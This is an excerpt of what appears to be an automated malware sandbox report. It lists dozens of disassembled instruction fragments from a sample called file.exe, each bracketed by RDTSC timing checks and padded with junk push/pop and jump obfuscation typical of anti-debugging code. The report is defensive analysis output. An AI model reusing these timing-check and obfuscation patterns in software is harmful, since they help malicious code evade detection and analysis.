rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A408 second address: 91A452 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F01F0E69E3Ch 0x00000008 jmp 00007F01F0E69E36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f add dword ptr [esp], 431F59B1h 0x00000016 or dword ptr [ebp+122D23B4h], esi 0x0000001c mov esi, dword ptr [ebp+122D2C5Ch] 0x00000022 lea ebx, dword ptr [ebp+12460212h] 0x00000028 js 00007F01F0E69E27h 0x0000002e mov dx, A24Ah 0x00000032 push eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A452 second address: 91A465 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F01F07425CBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A4BA second address: 91A4CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A4CF second address: 91A4F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F01F07425DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A4F6 second address: 91A5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov cx, 6A9Dh 0x0000000b push 00000000h 0x0000000d jnc 00007F01F0E69E2Ch 0x00000013 push 541D879Fh 0x00000018 push edx 0x00000019 jmp 00007F01F0E69E2Ah 0x0000001e pop edx 0x0000001f xor dword ptr [esp], 541D871Fh 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007F01F0E69E28h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 xor esi, dword ptr [ebp+122D2A70h] 0x00000046 push 00000003h 0x00000048 mov esi, dword ptr [ebp+122D293Ch] 0x0000004e push 00000000h 0x00000050 mov edi, dword ptr [ebp+122D2B14h] 0x00000056 push 00000003h 0x00000058 add esi, dword ptr [ebp+122D2C54h] 0x0000005e call 00007F01F0E69E29h 0x00000063 pushad 0x00000064 jg 00007F01F0E69E3Ah 0x0000006a jmp 00007F01F0E69E34h 0x0000006f jng 00007F01F0E69E28h 0x00000075 popad 0x00000076 push eax 0x00000077 jng 00007F01F0E69E56h 0x0000007d mov eax, dword ptr [esp+04h] 0x00000081 pushad 0x00000082 push eax 0x00000083 push edx 0x00000084 pushad 0x00000085 popad 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A5D5 second address: 91A5EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F01F07425CFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A5EC second address: 91A649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jc 00007F01F0E69E3Dh 0x0000000f je 00007F01F0E69E37h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 pushad 0x0000001a push edi 0x0000001b push eax 0x0000001c pop eax 0x0000001d pop edi 0x0000001e push eax 0x0000001f jp 00007F01F0E69E26h 0x00000025 pop eax 0x00000026 popad 0x00000027 pop eax 0x00000028 js 00007F01F0E69E27h 0x0000002e cld 0x0000002f lea ebx, dword ptr [ebp+1246021Bh] 0x00000035 sub edx, dword ptr [ebp+122D2BE0h] 0x0000003b xchg eax, ebx 0x0000003c jno 00007F01F0E69E2Ah 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A649 second address: 91A678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F01F07425D9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A6BF second address: 91A734 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F01F0E69E32h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F01F0E69E33h 0x00000014 pop edx 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F01F0E69E28h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D2EA6h], edx 0x00000036 push 00000000h 0x00000038 sub dword ptr [ebp+122D2772h], edi 0x0000003e push 3D6764B6h 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 jmp 00007F01F0E69E2Fh 0x0000004b pop eax 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A734 second address: 91A780 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 3D676436h 0x0000000f xor dl, 0000006Ch 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 stc 0x00000017 push 00000003h 0x00000019 mov dword ptr [ebp+122D2ED4h], esi 0x0000001f and esi, dword ptr [ebp+122D2C68h] 0x00000025 call 00007F01F07425C9h 0x0000002a jmp 00007F01F07425D3h 0x0000002f push eax 0x00000030 push edi 0x00000031 pushad 0x00000032 jns 00007F01F07425C6h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A780 second address: 91A793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jnp 00007F01F0E69E30h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A793 second address: 91A7B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a jmp 00007F01F07425CAh 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A7B1 second address: 91A7E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pop eax 0x00000008 sbb ecx, 6968B811h 0x0000000e lea ebx, dword ptr [ebp+12460226h] 0x00000014 jnc 00007F01F0E69E29h 0x0000001a movzx edi, dx 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F01F0E69E2Eh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A7E1 second address: 91A7E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A7E5 second address: 91A7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A7EB second address: 91A81C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F01F07425DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F01F07425CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A81C second address: 91A820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93854D second address: 938551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9386BA second address: 9386C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9386C4 second address: 9386CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9386CA second address: 9386CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9387FF second address: 938803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938803 second address: 93882C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F01F0E69E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F01F0E69E33h 0x00000014 jp 00007F01F0E69E26h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938ADC second address: 938AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938AE0 second address: 938AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938DFE second address: 938E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938F21 second address: 938F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938F25 second address: 938F2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938F2D second address: 938F35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938F35 second address: 938F49 instructions: 0x00000000 rdtsc 0x00000002 js 00007F01F07425C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jp 00007F01F07425C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938F49 second address: 938F62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E35h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939216 second address: 93923A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jmp 00007F01F07425D5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93923A second address: 93924E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F01F0E69E2Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93924E second address: 939258 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F01F07425DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9026DE second address: 9026E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A52A second address: 93A52E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A52E second address: 93A54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F01F0E69E26h 0x00000010 jmp 00007F01F0E69E2Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D115 second address: 93D137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F01F07425D8h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909294 second address: 90929A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90929A second address: 9092BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F01F07425D7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F01F07425D7h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F1BE second address: 93F1C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F6C1 second address: 93F6EE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F01F07425CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F01F07425CFh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jns 00007F01F07425C6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F6EE second address: 93F70A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [eax] 0x0000000c je 00007F01F0E69E30h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F70A second address: 93F717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9464F6 second address: 946507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F0E69E2Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946507 second address: 946512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F01F07425C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9467D4 second address: 9467DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9467DA second address: 9467EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007F01F07425C6h 0x0000000d pop edi 0x0000000e pushad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9467EE second address: 946801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jnc 00007F01F0E69E28h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946801 second address: 94680B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F01F07425C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946C61 second address: 946C9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E36h 0x00000007 jmp 00007F01F0E69E37h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F01F0E69E26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946C9A second address: 946CA4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F01F07425C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946CA4 second address: 946CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F01F0E69E36h 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946FB3 second address: 947011 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F01F07425D8h 0x00000008 pop esi 0x00000009 jg 00007F01F07425CEh 0x0000000f push edi 0x00000010 pop edi 0x00000011 jnp 00007F01F07425C6h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F01F07425E0h 0x00000021 jmp 00007F01F07425D0h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947011 second address: 947018 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947018 second address: 947020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947A7D second address: 947A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947A82 second address: 947A87 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947A87 second address: 947A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947DDC second address: 947DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947DE1 second address: 947DF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007F01F0E69E26h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F01F0E69E26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947DF7 second address: 947E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F01F07425D2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947F0D second address: 947F13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947F13 second address: 947F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9480F8 second address: 9480FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9480FC second address: 94812E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F01F07425CCh 0x0000000c jmp 00007F01F07425D7h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948544 second address: 9485A2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F01F0E69E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jmp 00007F01F0E69E33h 0x00000011 pop esi 0x00000012 xchg eax, ebx 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F01F0E69E28h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d nop 0x0000002e pushad 0x0000002f pushad 0x00000030 jmp 00007F01F0E69E2Ah 0x00000035 jp 00007F01F0E69E26h 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9485A2 second address: 9485A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9485A6 second address: 9485B7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F01F0E69E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94878A second address: 94878F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948AE8 second address: 948AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jo 00007F01F0E69E41h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948B82 second address: 948B89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 949052 second address: 949068 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F01F0E69E28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e je 00007F01F0E69E2Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 949A23 second address: 949A29 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AA07 second address: 94AA19 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F01F0E69E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F01F0E69E26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AA19 second address: 94AA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F01F07425D2h 0x0000000e jnc 00007F01F07425C8h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 nop 0x00000018 add dword ptr [ebp+122D23B4h], eax 0x0000001e push 00000000h 0x00000020 clc 0x00000021 stc 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F01F07425C8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 pop edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94B59A second address: 94B5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F01F0E69E2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C038 second address: 94C048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F01F07425C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C048 second address: 94C055 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F01F0E69E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
